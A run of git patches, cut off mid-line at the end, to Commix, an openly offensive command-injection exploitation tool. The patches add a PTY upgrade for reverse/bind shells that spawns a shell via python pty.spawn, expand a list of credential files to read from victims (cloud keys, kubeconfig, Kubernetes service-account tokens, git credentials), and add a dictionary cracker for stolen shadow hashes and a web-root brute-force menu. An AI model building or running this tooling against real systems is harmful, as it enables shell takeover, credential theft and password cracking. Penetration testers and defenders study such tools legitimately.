DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "202" +REVISION = "203" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f2e179dc8051a95644ef84784f6d3d7cfbfbec91 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 9 Oct 2026 06:35:45 +0300 Subject: [PATCH 0875/1023] Added new option `--pty` for upgrading a plain reverse/bind TCP shell to a full interactive PTY --- doc/CHANGELOG.md | 1 + src/core/parse/cmdline.py | 6 ++ src/core/shells/session_relay.py | 104 ++++++++++++++++++++++++++++++- src/utils/settings.py | 2 +- 4 files changed, 111 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a61240879f..6847c7c2b0 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New option `--pty` for upgrading a plain reverse/bind TCP shell to a full interactive PTY. * Added: New option `--priv-esc` for running Metasploit's `local_exploit_suggester` automatically the instant a Meterpreter session opens. * Added: New option `--cleanup` for removing what `--file-write` or `--reg-add` just wrote to the target. * Added: New option `--common-files` for checking a bundled wordlist of common sensitive paths for existence on the target, as a lead into `--file-read`. diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 48471c6102..0740d10a19 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -935,6 +935,12 @@ def banner(): default=False, help="Prompt for a command shell.") +injection.add_option("--pty", + action="store_true", + dest="pty", + default=False, + help="Upgrade a built-in-handler reverse/bind TCP session to a full interactive PTY (Unix target only).") + injection.add_option("--os", action="store", dest="os", diff --git a/src/core/shells/session_relay.py b/src/core/shells/session_relay.py index c192f34f5d..e1df3a7897 100644 --- a/src/core/shells/session_relay.py +++ b/src/core/shells/session_relay.py @@ -13,15 +13,95 @@ For more see the file 'readme/COPYING' for copying permission. """ +import os import sys import socket +import select import threading +from src.core.parse import cmdline as menu from src.utils import common from src.utils import settings # How long the built-in reverse handler waits for the callback before giving up. ACCEPT_TIMEOUT = 15 +# Ctrl-] (0x1D) - telnet's own escape byte, chosen for the same reason: raw mode forwards Ctrl-C +# to the remote shell instead of stopping anything here, so detaching needs a byte of its own. +PTY_ESCAPE_BYTE = b"\x1d" + +""" +The command that upgrades a plain Unix shell into a real PTY - tried shell by shell until one of +them is there, 'bash' first for the shell it gives, then 'sh' for a target without it; 'python3' +first since Python 2 is long past end-of-life, then 'python' for a target only answering to that. +""" +def pty_upgrade_cmd(): + attempts = [] + for py in ("python3", "python"): + for shell in ("/bin/bash", "/bin/sh"): + attempts.append(py + " -c \"import pty; pty.spawn('" + shell + "')\" 2>/dev/null") + return " || ".join(attempts) + "\n" + +""" +Put the local terminal into raw mode (every keystroke forwarded as-is, no local echo, no +line-buffering, Ctrl-C included) and hand back what it takes to put it back the way it was - +None where there is nothing to raw-mode at all (no real terminal, or none of this attacker host's +own doing, i.e. Windows, which has no 'termios'/'tty' to begin with). +""" +def enter_raw_mode(): + if settings.IS_WINDOWS or not sys.stdin.isatty(): + return None + try: + import tty + import termios + except ImportError: + return None + fd = sys.stdin.fileno() + saved = termios.tcgetattr(fd) + tty.setraw(fd) + return saved + +""" +Undo 'enter_raw_mode()', a no-op where it returned nothing to undo. +""" +def restore_terminal(saved): + if saved is None: + return + import termios + termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, saved) + +""" +Bridge local stdin/stdout to a connected shell socket byte-for-byte, once it has been upgraded to +a real PTY - raw, not line-buffered, so the remote shell's own echo, job control, line editing and +full-screen programs (vim, less, top) all work as they would over a direct connection. Ctrl-] (not +Ctrl-C, which the remote shell owns now) ends the session cleanly from this end - there being +nothing to detach to, the one socket this plain shell runs over, closing it ends it either way. +""" +def _raw_relay(sock): + info_msg = "Upgraded to a full PTY ('--pty'). Ctrl-] ends the session and returns here." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + stdin_fd = sys.stdin.fileno() + saved = enter_raw_mode() + try: + sock.sendall(pty_upgrade_cmd().encode(settings.DEFAULT_CODEC, "replace")) + while True: + readable, _, _ = select.select([stdin_fd, sock], [], []) + if sock in readable: + data = sock.recv(4096) + if not data: + break + os.write(1, data) + if stdin_fd in readable: + data = os.read(stdin_fd, 4096) + if not data: + break + if PTY_ESCAPE_BYTE in data: + break + sock.sendall(data) + except (OSError, socket.error): + pass + finally: + restore_terminal(saved) + """ Runs execute_cmd(cmd) on a background thread so the main thread stays free to accept() the callback. """ @@ -35,9 +115,31 @@ def run_payload_send(execute_cmd, cmd, result): result["error"] = err """ -Bridges local stdin/stdout to a connected shell socket - line-buffered, not raw-TTY. +Bridges local stdin/stdout to a connected shell socket - line-buffered, not raw-TTY, unless +'--pty' asked for the real thing and the target and this attacker host can both do it. """ def interactive_relay(sock, filename, url): + if menu.options.pty: + if settings.TARGET_OS == settings.OS.WINDOWS: + warn_msg = "'--pty' needs a Unix-like target to upgrade (no 'pty' module on Windows) - using the standard relay instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif settings.IS_WINDOWS or not sys.stdin.isatty(): + warn_msg = "'--pty' needs a real POSIX terminal on this end - using the standard relay instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + try: + _raw_relay(sock) + finally: + try: + sock.shutdown(socket.SHUT_RDWR) + except Exception: + pass + try: + sock.close() + except Exception: + pass + return + remote_closed = threading.Event() # Carry whatever the socket says back to the terminal, until it says nothing more. diff --git a/src/utils/settings.py b/src/utils/settings.py index bcf5b41a95..ec727bccf0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "203" +REVISION = "205" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From af9d631c6f6ae014057c80821b74c76d98e9a9ee Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 9 Oct 2026 06:36:59 +0300 Subject: [PATCH 0876/1023] Update common-files.txt --- data/txt/common-files.txt | 26 ++++++++++++++++++++++++++ src/utils/settings.py | 2 +- 2 files changed, 27 insertions(+), 1 deletion(-) diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt index 4d94dc38ed..7cc12f10a2 100644 --- a/data/txt/common-files.txt +++ b/data/txt/common-files.txt @@ -25,10 +25,27 @@ # Cloud and service credentials /root/.aws/credentials +/root/.aws/config /root/.docker/config.json /var/lib/docker/config.json +/root/.kube/config +/root/.config/gcloud/application_default_credentials.json +/root/.azure/accessTokens.json +/root/.azure/azureProfile.json +/root/.netrc +/root/.npmrc +/root/.pypirc +/root/.git-credentials /proc/self/environ +# Container and orchestration signals - fixed paths regardless of which user the container runs +# as, since they come from how the container/pod itself is set up, not from a home directory. +/.dockerenv +/proc/1/cgroup +/var/run/secrets/kubernetes.io/serviceaccount/token +/var/run/secrets/kubernetes.io/serviceaccount/namespace +/var/run/secrets/kubernetes.io/serviceaccount/ca.crt + # Logs that can carry secrets a request leaked /var/log/auth.log /var/log/apache2/access.log @@ -52,3 +69,12 @@ C:\AppServ\www\config.php C:\Users\Administrator\NTUser.dat C:\Users\Administrator\.ssh\id_rsa C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt + +# Windows cloud and service credentials +C:\Users\Administrator\.aws\credentials +C:\Users\Administrator\.docker\config.json +C:\Users\Administrator\.kube\config +C:\Users\Administrator\.netrc +C:\Users\Administrator\.npmrc +C:\Users\Administrator\.pypirc +C:\Users\Administrator\.git-credentials diff --git a/src/utils/settings.py b/src/utils/settings.py index ec727bccf0..f318a568bb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "205" +REVISION = "206" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a0a8a85179a1acc6925a55fe22c5488ab2da6bb8 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 9 Oct 2026 06:39:18 +0300 Subject: [PATCH 0877/1023] Added dictionary-based password cracking for `--passwords`' retrieved hashes (MD5-crypt, SHA-256/512-crypt), prompted automatically --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 137 ++++++++++++++++++++++++ src/utils/crypt_algos.py | 195 ++++++++++++++++++++++++++++++++++ src/utils/settings.py | 6 +- 4 files changed, 338 insertions(+), 1 deletion(-) create mode 100644 src/utils/crypt_algos.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 6847c7c2b0..cc13657d43 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: Dictionary-based password cracking for `--passwords`' retrieved hashes (MD5-crypt, SHA-256/512-crypt), prompted automatically. * Added: New option `--pty` for upgrading a plain reverse/bind TCP shell to a full interactive PTY. * Added: New option `--priv-esc` for running Metasploit's `local_exploit_suggester` automatically the instant a Meterpreter session opens. * Added: New option `--cleanup` for removing what `--file-write` or `--reg-add` just wrote to the target. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 2f9727a94c..686dbd92d2 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -32,9 +32,11 @@ import subprocess import contextlib import statistics +import tempfile from glob import glob from src.utils import common from src.utils import logs +from src.utils import crypt_algos from src.core.parse import cmdline as menu from src.utils import settings from src.thirdparty.odict import OrderedDict @@ -4731,6 +4733,7 @@ def print_passes(sys_passes, filename, newline_first, interpreter): settings.print_data_to_stdout(hash_line) logs.add_line(filename, user_line, group="passwords") logs.add_line(filename, hash_line, group="passwords") + crack_passwords(usable, filename) else: warn_msg = "Unable to retrieve the password hashes for the operating system users." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -4738,6 +4741,140 @@ def print_passes(sys_passes, filename, newline_first, interpreter): warn_msg = "Unable to retrieve the password hashes for the operating system users." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) +""" +Write the recognized hashes to a local temporary file, 'user:hash' one per line, the same way the +dictionary attack below is about to read a wordlist - something to hand a dedicated tool instead. +""" +def store_hashes_to_file(usable): + handle, path = tempfile.mkstemp(prefix=settings.APPLICATION, suffix=".txt") + with os.fdopen(handle, "w") as f: + for username, digest in usable: + f.write(username + ":" + digest + settings.END_LINE.LF) + info_msg = "Writing hashes to a temporary file '" + path + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + modes = sorted(set(crypt_algos.hashcat_mode(crypt_algos.recognize(digest)) for _, digest in usable) - {None}) + if modes: + info_msg = "The stored hashes can be cracked with a dedicated tool (e.g. " + info_msg += ", ".join("'hashcat -m " + str(mode) + "'" for mode in modes) + ")." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Which dictionary file the attack below reads its candidate words from - the bundled one by +default, or a path of the user's own. +""" +def choose_wordlist(): + message = "What dictionary do you want to use?" + settings.END_LINE.LF + message += "[1] Default dictionary file '" + settings.PASSWORDS_TXT_FILE + "' (press Enter)" + settings.END_LINE.LF + message += "[2] Custom dictionary file" + choice = common.read_input(message, default="1", check_batch=True) + if choice == "2": + path = common.read_input("What's the custom dictionary's location? ", default="", check_batch=True) + if path and os.path.isfile(path): + return path + warn_msg = "The specified dictionary file was not found. Using the default dictionary instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return settings.PASSWORDS_TXT_FILE + +""" +Dictionary-based attack against the password hashes '--passwords' just retrieved - offered the same +way and in the same order every time: store to a file first, then (by default) crack, choose a +dictionary, optionally add common suffixes, then try every word (plus suffix) against every hash of +a format commix can compute, word-major so one pass serves every hash sharing that format at once. +""" +def crack_passwords(usable, filename): + if not usable: + return + + store_msg = "Do you want to store hashes to a temporary file for eventual further processing with other tools? [y/N] " + if common.read_input(store_msg, default="N", check_batch=True) in settings.CHOICE_YES: + store_hashes_to_file(usable) + + # Defaults to skipping under '--batch' on a bulk scan - a dictionary attack repeated unattended + # over every target in a list is a cost worth asking about, not assuming, the way a single run is. + crack_default = "N" if settings.MULTI_TARGETS else "Y" + crack_msg = "Do you want to crack them via a dictionary-based attack? [" + ("y/N" if settings.MULTI_TARGETS else "Y/n") + "] " + if common.read_input(crack_msg, default=crack_default, check_batch=True) not in settings.CHOICE_YES: + return + + recognized = {} + unsupported = set() + for username, digest in usable: + fmt = crypt_algos.recognize(digest) + if fmt is None: + continue + if fmt in crypt_algos.CRACKABLE: + recognized.setdefault(fmt, []).append((username, digest)) + else: + unsupported.add(fmt) + + if unsupported: + for fmt in sorted(unsupported): + mode = crypt_algos.hashcat_mode(fmt) + warn_msg = "A '" + fmt + "' hash was found that cannot be cracked with the built-in dictionary attack" + warn_msg += (" (use e.g. 'hashcat -m " + str(mode) + "')") if mode else "" + warn_msg += "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + if not recognized: + warn_msg = "No clear password(s) found." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return + + for fmt in recognized: + info_msg = "Using hash method '" + fmt + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + wordlist_path = choose_wordlist() + words = common.load_list_from_file(wordlist_path, "wordlist") + + suffixes = [""] + suffix_msg = "Do you want to use common password suffixes? (slow!) [y/N] " + if common.read_input(suffix_msg, default="N", check_batch=True) in settings.CHOICE_YES: + suffixes += list(settings.COMMON_PASSWORD_SUFFIXES) + + cracked = {} + for fmt, items in recognized.items(): + pending = list(items) + info_msg = "Starting dictionary-based cracking ('" + fmt + "')." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + tried = 0 + for suffix in suffixes: + if not pending: + break + for word in words: + if not pending: + break + candidate = word + suffix + tried += 1 + if settings.VERBOSITY_LEVEL == 0 and tried % 15 == 0: + settings.print_data_to_stdout(".") + for item in list(pending): + username, digest = item + if crypt_algos.crack_candidate(digest, candidate): + cracked[item] = candidate + pending.remove(item) + info_msg = "Cracked password '" + candidate + "' for user '" + username + "'." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + + if cracked: + info_msg = "Cracked " + str(len(cracked)) + " password" + ('s', '')[len(cracked) == 1] + ":" + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + for (username, digest), password in cracked.items(): + user_line = "[*] " + username + " [1]:" + hash_line = " password hash: " + digest + pass_line = " clear-text password: " + password + settings.print_data_to_stdout(user_line) + settings.print_data_to_stdout(hash_line) + settings.print_data_to_stdout(pass_line) + logs.add_line(filename, user_line, group="passwords") + logs.add_line(filename, hash_line, group="passwords") + logs.add_line(filename, pass_line, group="passwords") + logs.report_add_enumeration("passwords", {"username": username, "hash": digest, "password": password}) + else: + warn_msg = "No clear password(s) found." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ Run the standard enumeration checks via the given execute_cmd(cmd) -> output callback - the shared logic behind any module's own enumeration entry point (see shellshock.py). """ diff --git a/src/utils/crypt_algos.py b/src/utils/crypt_algos.py new file mode 100644 index 0000000000..c407390278 --- /dev/null +++ b/src/utils/crypt_algos.py @@ -0,0 +1,195 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from hashlib import md5, sha256, sha512 + +""" +Standalone (no third-party/system-crypt dependency) implementations of the '/etc/shadow' hash +formats '--passwords' actually meets in practice, so a dictionary attack against them works the +same on every platform Python runs on - the system 'crypt' module is deprecated, gone outright in +Python 3.13+, and even where present answers differently (or not at all) for these per libc. +""" + +ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + +# One recognizable format per shadow entry commix can actually try - paired with the hashcat '-m' +# mode a format it cannot try in pure Python would need instead (reference: hashcat.net/wiki, "example_hashes"). +FORMATS = ( + ("md5_crypt", r"\A\$1\$[^$]{1,8}\$[./0-9A-Za-z]+\Z", 500), + ("sha256_crypt", r"\A\$5\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{43}\Z", 7400), + ("sha512_crypt", r"\A\$6\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{86}\Z", 1800), + ("bcrypt", r"\A\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z", 3200), + ("yescrypt", r"\A\$y\$[./0-9A-Za-z]+\$[./0-9A-Za-z]+\$[./0-9A-Za-z]+\Z", None), + ("des_crypt", r"\A(?![0-9./A-Za-z]{0,12}\Z)[./0-9A-Za-z]{13}\Z", 1500), +) + +# Formats a plain dictionary attack here can actually try - the rest are recognized (so the user +# is told what they are and, where known, which hashcat mode suits them) but not brute-forced. +CRACKABLE = ("md5_crypt", "sha256_crypt", "sha512_crypt") + +""" +The format name '--passwords' recognizes a hash as, or None where it fits none of them. +""" +def recognize(hash_): + for name, regex, _ in FORMATS: + if re.match(regex, hash_): + return name + return None + +""" +The hashcat mode a recognized-but-uncrackable-here format would need, or None. +""" +def hashcat_mode(name): + for fmt_name, _, mode in FORMATS: + if fmt_name == name: + return mode + return None + +""" +MD5-crypt ('$1$') - the traditional glibc 'crypt(3)' extension. +Reference: https://www.freebsd.org/cgi/man.cgi?query=crypt&sektion=3 (historical Poul-Henning Kamp algorithm) +""" +def _md5_crypt(password, salt): + salt = salt[:8] + ctx = password + b"$1$" + salt + final = md5(password + salt + password).digest() + + pl = len(password) + while pl > 0: + ctx += final[:16] if pl > 16 else final[:pl] + pl -= 16 + + i = len(password) + while i: + ctx += b"\x00" if (i & 1) else password[0:1] + i >>= 1 + final = md5(ctx).digest() + + for i in range(1000): + ctx1 = password if (i & 1) else final[:16] + if i % 3: + ctx1 += salt + if i % 7: + ctx1 += password + ctx1 += final[:16] if (i & 1) else password + final = md5(ctx1).digest() + + def enc(value, count): + out = "" + for _ in range(count): + out += ITOA64[value & 0x3f] + value >>= 6 + return out + + digest = ( + enc((final[0] << 16) | (final[6] << 8) | final[12], 4) + + enc((final[1] << 16) | (final[7] << 8) | final[13], 4) + + enc((final[2] << 16) | (final[8] << 8) | final[14], 4) + + enc((final[3] << 16) | (final[9] << 8) | final[15], 4) + + enc((final[4] << 16) | (final[10] << 8) | final[5], 4) + + enc(final[11], 2) + ) + return "$1$" + salt.decode() + "$" + digest + +# SHA-crypt (Drepper) final-permutation byte order, for the 16/32/64-byte digests used below. +_SHA256_ORDER = ((0, 10, 20), (21, 1, 11), (12, 22, 2), (3, 13, 23), (24, 4, 14), (15, 25, 5), (6, 16, 26), (27, 7, 17), (18, 28, 8), (9, 19, 29), (31, 30)) +_SHA512_ORDER = ((0, 21, 42), (22, 43, 1), (44, 2, 23), (3, 24, 45), (25, 46, 4), (47, 5, 26), (6, 27, 48), (28, 49, 7), (50, 8, 29), (9, 30, 51), (31, 52, 10), (53, 11, 32), (12, 33, 54), (34, 55, 13), (56, 14, 35), (15, 36, 57), (37, 58, 16), (59, 17, 38), (18, 39, 60), (40, 61, 19), (62, 20, 41), (63,)) + +""" +SHA-256/512-crypt ('$5$'/'$6$') digest, per Drepper's public spec. +Reference: https://www.akkadia.org/drepper/SHA-crypt.txt +""" +def _sha_crypt_digest(password, salt, rounds, digestmod, order): + dsize = digestmod().digest_size + B = digestmod(password + salt + password).digest() + + ctx = digestmod(password + salt) + cnt = len(password) + while cnt > dsize: + ctx.update(B) + cnt -= dsize + ctx.update(B[:cnt]) + + i = len(password) + while i: + ctx.update(B if (i & 1) else password) + i >>= 1 + A = ctx.digest() + + dp = digestmod() + for _ in range(len(password)): + dp.update(password) + DP = dp.digest() + P = DP * (len(password) // dsize) + DP[:len(password) % dsize] + + ds = digestmod() + for _ in range(16 + A[0]): + ds.update(salt) + DS = ds.digest() + S = DS * (len(salt) // dsize) + DS[:len(salt) % dsize] + + C = A + for i in range(rounds): + c = digestmod() + c.update(P if (i & 1) else C) + if i % 3: + c.update(S) + if i % 7: + c.update(P) + c.update(C if (i & 1) else P) + C = c.digest() + + digest = "" + for group in order: + value = 0 + for idx in group: + value = (value << 8) | C[idx] + for _ in range((len(group) * 8 + 5) // 6): + digest += ITOA64[value & 0x3f] + value >>= 6 + return digest + +def _sha2_crypt(password, salt_field, magic): + rounds, salt = 5000, salt_field + if salt.startswith("rounds="): + prefix, salt = salt.split("$", 1) + rounds = max(1000, min(999999999, int(prefix[len("rounds="):]))) + + digestmod, order = (sha256, _SHA256_ORDER) if magic == "$5$" else (sha512, _SHA512_ORDER) + digest = _sha_crypt_digest(password, salt.encode()[:16], rounds, digestmod, order) + return magic + salt_field + "$" + digest + +""" +Whether 'candidate' is the plaintext behind 'hash_' - the one entry point the dictionary attack +calls, parsing out whichever salt/rounds the hash's own format carries rather than asking the +caller to. Returns False for a hash in CRACKABLE but malformed, and for one recognize() has no +format for at all. +""" +def crack_candidate(hash_, candidate): + candidate = candidate.encode("utf-8", "replace") + try: + if hash_.startswith("$1$"): + _, _, salt, _ = hash_.split("$", 3) + return _md5_crypt(candidate, salt.encode()) == hash_ + if hash_.startswith(("$5$", "$6$")): + magic = hash_[:3] + salt_field = hash_[3:hash_.rindex("$")] + return _sha2_crypt(candidate, salt_field, magic) == hash_ + except (ValueError, IndexError, UnicodeError): + return False + return False + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index f318a568bb..7ab7d70585 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "206" +REVISION = "207" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1686,6 +1686,10 @@ def strip_ansi_codes(text): # Path to file with default password values PASSWORDS_TXT_FILE = os.path.join(TXT_DIR, "default_passwords.txt") +# Appended to each dictionary word, one suffix at a time, when the user opts into it for cracking +# a retrieved password hash - the common ways a plain word gets turned into a "stronger" one. +COMMON_PASSWORD_SUFFIXES = ("1", "123", "2", "12", "3", "13", "7", "11", "5", "22", "23", "01", "4", "07", "21", "14", "10", "06", "08", "8", "15", "69", "16", "6", "18") + # Path to file with known CGI scripts/pages potentially vulnerable to Shellshock CGI_SCRIPTS = os.path.join(TXT_DIR, "shocker-cgi_list.txt") From 9c9f3965a993a66aa943874d9f14d149c450256e Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 10 Oct 2026 09:48:52 +0300 Subject: [PATCH 0878/1023] Added a directory-choice menu for the file-based technique's writable-directory prompt, trying every candidate before falling back to `/tmp/` --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 234 ++++++++++++++++++++++++++++++--- src/core/controller/handler.py | 27 ++++ src/core/main.py | 5 + src/core/requests/requests.py | 1 + src/utils/common.py | 5 + src/utils/session_handler.py | 24 +++- src/utils/settings.py | 38 +++++- 8 files changed, 311 insertions(+), 24 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index cc13657d43..12da8518a1 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: A directory-choice menu for the file-based technique's writable-directory prompt, trying every candidate before falling back to `/tmp/`. * Added: Dictionary-based password cracking for `--passwords`' retrieved hashes (MD5-crypt, SHA-256/512-crypt), prompted automatically. * Added: New option `--pty` for upgrading a plain reverse/bind TCP shell to a full interactive PTY. * Added: New option `--priv-esc` for running Metasploit's `local_exploit_suggester` automatically the instant a Meterpreter session opens. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 686dbd92d2..a0eee4f3c6 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -951,6 +951,15 @@ def injection_process(injection_type, technique, done=False, i=None, total=None) if settings.VERBOSITY_LEVEL != 0: return if not settings.PROGRESS_LINE_OPEN: + already_announced = settings.LAST_ANNOUNCED_TECHNIQUE == (settings.CHECKING_PARAMETER, technique_label(injection_type, technique)) + # The line only closed because something else legitimately printed over it (e.g. a Y/n prompt + # deciding there is nothing left to try), not because testing moved on. Nothing is left to + # close in that case: the technique was already announced, and that other output already + # ended the line - neither re-announcing it nor a bare "(done)" with nothing before it on the + # line says anything the user was not already told. + if done and already_announced: + settings.LAST_COMPLETED_TECHNIQUE = technique + return testing_technique_title(injection_type, technique) if done: # Can be hit once per false-positive retry on the same technique - only print once. @@ -4763,10 +4772,17 @@ def store_hashes_to_file(usable): default, or a path of the user's own. """ def choose_wordlist(): - message = "What dictionary do you want to use?" + settings.END_LINE.LF - message += "[1] Default dictionary file '" + settings.PASSWORDS_TXT_FILE + "' (press Enter)" + settings.END_LINE.LF - message += "[2] Custom dictionary file" - choice = common.read_input(message, default="1", check_batch=True) + # Printed, not folded into the input() prompt below - see the matching note in + # choose_web_root_candidates(). + question = "What dictionary do you want to use?" + options = ( + "[1] Default dictionary file '" + settings.PASSWORDS_TXT_FILE + "' (press Enter)", + "[2] Custom dictionary file", + ) + settings.print_data_to_stdout(Style.BRIGHT + question + Style.RESET_ALL) + for option in options: + settings.print_data_to_stdout(Style.BRIGHT + option + Style.RESET_ALL) + choice = resolve_menu_choice(question + " " + " ".join(options), "> ", "1") if choice == "2": path = common.read_input("What's the custom dictionary's location? ", default="", check_batch=True) if path and os.path.isfile(path): @@ -5728,9 +5744,15 @@ def check_wrong_flags(): Set writable path name """ def setting_writable_dir(path): - info_msg = "Attempting to create a file in directory '" + path - info_msg += "' for execution output. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL != 0: + info_msg = "Attempting to create a file in directory '" + path + info_msg += "' for execution output. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + elif not settings.WRITABLE_DIR_ATTEMPT_SAID: + settings.WRITABLE_DIR_ATTEMPT_SAID = True + where = settings.WEB_ROOT_CATEGORY_LABEL or "a writable directory" + info_msg = "Attempting to create a file in " + where + " for execution output." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ Define python working dir (for windows targets) @@ -5936,24 +5958,190 @@ def normalize_target_dir(path): path += "/" return path +""" +The directory-named-by-the-target-host candidates a brute-force search tries each prefix under - +'www.example.com' also tries 'example.com', the way a vhost is as likely to be named one as the +other; a bare IP or single-label host (no '.' to drop a label from) tries only itself. +""" +def brute_force_target_names(): + host = settings.TARGET_URL or "" + if not host: + return set() + labels = host.split(".") + names = {host} + if labels[0] == "www": + names.add(".".join(labels[1:])) + names.add(".".join(labels[1:-1])) + else: + names.add(".".join(labels[:-1])) + names.discard("") + return names + +""" +Every prefix/suffix combination worth trying blind - '--web-root'(interactive)'s 4th menu choice - +target name substituted in where a prefix asks for one, nearest (most likely) first. +""" +def brute_force_web_roots(): + sep = "\\" if settings.TARGET_OS == settings.OS.WINDOWS else "/" + prefixes = settings.BRUTE_DOC_ROOT_PREFIXES.get(settings.TARGET_OS, settings.BRUTE_DOC_ROOT_PREFIXES[settings.OS.UNIX]) + names = brute_force_target_names() + candidates = [] + for prefix in prefixes: + resolved = [prefix.replace(settings.DOC_ROOT_TARGET_MARK, name) for name in names] if settings.DOC_ROOT_TARGET_MARK in prefix else [prefix] + for base in resolved: + for suffix in settings.BRUTE_DOC_ROOT_SUFFIXES: + item = (base + sep + suffix) if suffix else base + if item not in candidates: + candidates.append(item) + + info_msg = "Using generated directory list: " + ", ".join(candidates) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + message = "Use any additional custom directories? [Enter for none] " + extra = common.read_input(message, default="", check_batch=True) + if extra: + candidates.extend(path.strip() for path in extra.split(",") if path.strip()) + return candidates + +""" +Resolve a numbered-menu answer: '--answers' is matched against the full question text (every +option's own words, not just the bare prompt actually shown), the same breadth sqlmap's own +answer-matching gets by searching its whole (there, multi-line) prompt - while what the operator +actually sees stays the short, single-line, readline-safe prompt handed in as 'prompt'. +""" +def resolve_menu_choice(full_text, prompt, default): + if settings.ANSWERS and any(_ in settings.ANSWERS for _ in ",="): + for item in settings.ANSWERS.split(','): + question = item.split('=', 1)[0].strip() + answer = item.split('=', 1)[1] if '=' in item else None + if answer and question.lower() in full_text.lower(): + settings.print_data_to_stdout(settings.print_message(prompt + str(answer))) + return answer + return common.read_input(prompt, default=default, check_batch=True) + +""" +The directory-choice menu offered once a usable web root could not be worked out on its own - the +same four choices every time: a short list of common locations, directories named by hand, a file +listing them, or a brute-force sweep of likely ones - returning however many candidates that choice +produced, nearest (most likely) first. +""" +def choose_web_root_candidates(): + if settings.TARGET_OS == settings.OS.WINDOWS: + common_roots = list(settings.WINDOWS_DEFAULT_DOC_ROOTS) + else: + common_roots = [root.replace(settings.DOC_ROOT_TARGET_MARK, settings.TARGET_URL) for root in settings.LINUX_DEFAULT_DOC_ROOTS] + + # The server's banner may have already guessed one - worth leading with, not worth trusting + # silently, since a guess is wrong often enough that the menu still belongs in front of it. + if settings.WEB_ROOT_IS_GUESS and 